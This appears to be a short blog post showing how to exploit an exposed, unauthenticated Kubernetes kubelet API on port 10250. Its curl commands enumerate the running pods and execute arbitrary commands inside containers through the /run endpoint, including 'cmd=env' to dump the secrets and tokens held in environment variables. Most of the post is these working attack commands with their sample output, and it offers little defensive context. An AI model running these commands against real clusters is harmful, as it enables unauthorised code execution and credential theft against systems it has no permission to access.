Most Kubernetes deployments provide authentication for this port. But it’s still possible to expose it inadvertently and it's still pretty common to find it exposed via the "insecure API service" option.
Everybody who has access to the service kubelet port (10250), even without a certificate, can execute any command inside the container.
# /run/%namespace%/%pod_name%/%container_name%
example:
$ curl -k -XPOST "https://k8s-node-1:10250/run/kube-system/node-exporter-iuwg7/node-exporter" -d "cmd=ls -la /"
total 12
drwxr-xr-x 13 root root 148 Aug 26 11:31 .
drwxr-xr-x 13 root root 148 Aug 26 11:31 ..
-rwxr-xr-x 1 root root 0 Aug 26 11:31 .dockerenv
drwxr-xr-x 2 root root 8192 May 5 22:22 bin
drwxr-xr-x 5 root root 380 Aug 26 11:31 dev
drwxr-xr-x 3 root root 135 Aug 26 11:31 etc
drwxr-xr-x 2 nobody nogroup 6 Mar 18 16:38 home
drwxr-xr-x 2 root root 6 Apr 23 11:17 lib
dr-xr-xr-x 353 root root 0 Aug 26 07:14 proc
drwxr-xr-x 2 root root 6 Mar 18 16:38 root
dr-xr-xr-x 13 root root 0 Aug 26 15:12 sys
drwxrwxrwt 2 root root 6 Mar 18 16:38 tmp
drwxr-xr-x 4 root root 31 Apr 23 11:17 usr
drwxr-xr-x 5 root root 41 Aug 26 11:31 var
Here is how to get all secrets which container uses (environment variables - commons to see kublet tokens here):
$ curl -k -XPOST "https://k8s-node-1:10250/run/kube-system//" -d "cmd=env"
The list of all pods and containers which were scheduled on the Kubernetes worker node could be retrieved using command below:
$ curl -sk https://k8s-node-1:10250/runningpods/ | python -mjson.tool
or
$ curl --insecure https://k8s-node-1:10250/runningpods | jq
Example 1:
curl --insecure https://1.2.3.4:10250/runningpods | jq
Output:
Forbidden (user=system:anonymous, verb=create, resource=nodes, subresource=proxy)
Example 2:
curl --insecure https://1.2.3.4:10250/runningpods | jq
Output:
Unauthorized
Example 3:
curl --insecure https://1.2.3.4:10250/runningpods | jq
Output:
{
"kind": "PodList",
"apiVersion": "v1",
"metadata": {},
"items": [
{
"metadata": {
"name": "kube-dns-5b8bf6c4f4-k5n2g",
"generateName": "kube-dns-5b8bf6c4f4-",
"namespace": "kube-system",
"selfLink": "/api/v1/namespaces/kube-system/pods/kube-dns-5b8bf6c4f4-k5n2g",
"uid": "63438841-e43c-11e8-a104-42010a80038e",
"resourceVersion": "85366060",
"creationTimestamp": "2018-11-09T16:27:44Z",
"labels": {
"k8s-app": "kube-dns",
"pod-template-hash": "1646927090"
},
"annotations": {
"kubernetes.io/config.seen": "2018-11-09T16:27:44.990071791Z",
"kubernetes.io/config.source": "api",
"scheduler.alpha.kubernetes.io/critical-pod": ""
},
"ownerReferences": [
{
"apiVersion": "extensions/v1beta1",
"kind": "ReplicaSet",
"name": "kube-dns-5b8bf6c4f4",
"uid": "633db9d4-e43c-11e8-a104-42010a80038e",
"controller": true
}
]
},
"spec": {
"volumes": [
{
"name": "kube-dns-config",
"configMap": {
"name": "kube-dns",
"defaultMode": 420
}
},
{
"name": "kube-dns-token-xznw5",
"secret": {
"secretName": "kube-dns-token-xznw5",
"defaultMode": 420
}
}
],
"containers": [
{
"name": "dnsmasq",
"image": "gcr.io/google-containers/k8s-dns-dnsmasq-nanny-amd64:1.14.10",
"args": [
"-v=2",
"-logtostderr",
"-configDir=/etc/k8s/dns/dnsmasq-nanny",
"-restartDnsmasq=true",
"--",
"-k",
"--cache-size=1000",
"--no-negcache",
"--log-facility=-",
"--server=/cluster.local/127.0.0.1#10053",
"--server=/in-addr.arpa/127.0.0.1#10053",
"--server=/ip6.arpa/127.0.0.1#10053"
],
"ports": [
{
"name": "dns",
"containerPort": 53,
"protocol": "UDP"
},
{
"name": "dns-tcp",
"containerPort": 53,
"protocol": "TCP"
}
],
"resources": {
"requests": {
"cpu": "150m",
"memory": "20Mi"
}
},
"volumeMounts": [
{
"name": "kube-dns-config",
"mountPath": "/etc/k8s/dns/dnsmasq-nanny"
},
{
"name": "kube-dns-token-xznw5",
"readOnly": true,
"mountPath": "/var/run/secrets/kubernetes.io/serviceaccount"
}
],
"livenessProbe": {
"httpGet": {
"path": "/healthcheck/dnsmasq",
"port": 10054,
"scheme": "HTTP"
},
"initialDelaySeconds": 60,
"timeoutSeconds": 5,
"periodSeconds": 10,
"successThreshold": 1,
"failureThreshold": 5
},
"terminationMessagePath": "/dev/termination-log",
"imagePullPolicy": "IfNotPresent"
},
--------SNIP---------
With the output of the running pods command you can craft your command to do the code exec
$ curl -k -XPOST "https://k8s-node-1:10250/run///" -d "cmd=env"
as an example:
leaves you with:
curl -k -XPOST "https://kube-node-here:10250/run/kube-system/kube-dns-5b8bf6c4f4-k5n2g/dnsmasq" -d "cmd=ls -la /"
total 35264
drwxr-xr-x 1 root root 4096 Nov 9 16:27 .
drwxr-xr-x 1 root root 4096 Nov 9 16:27 ..
-rwxr-xr-x 1 root root 0 Nov 9 16:27 .dockerenv
drwxr-xr-x 2 root root 4096 Nov 9 16:27 bin
drwxr-xr-x 5 root root 380 Nov 9 16:27 dev
-rwxr-xr-x 1 root root 36047205 Apr 13 2018 dnsmasq-nanny
drwxr-xr-x 1 root root 4096 Nov 9 16:27 etc
drwxr-xr-x 2 root root 4096 Jan 9 2018 home
drwxr-xr-x 5 root root 4096 Nov 9 16:27 lib
drwxr-xr-x 5 root root 4096 Nov 9 16:27 media
drwxr-xr-x 2 root root 4096 Jan 9 2018 mnt
dr-xr-xr-x 125 root root 0 Nov 9 16:27 proc
drwx------ 2 root root 4096 Jan 9 2018 root
drwxr-xr-x 2 root root 4096 Jan 9 2018 run
drwxr-xr-x 2 root root 4096 Nov 9 16:27 sbin
drwxr-xr-x 2 root root 4096 Jan 9 2018 srv
dr-xr-xr-x 12 root root 0 Nov 9 16:27 sys
drwxrwxrwt 1 root root 4096 Nov 9 17:00 tmp
drwxr-xr-x 7 root root 4096 Nov 9 16:27 usr
drwxr-xr-x 1 root root 4096 Nov 9 16:27 var
No comments:
Post a Comment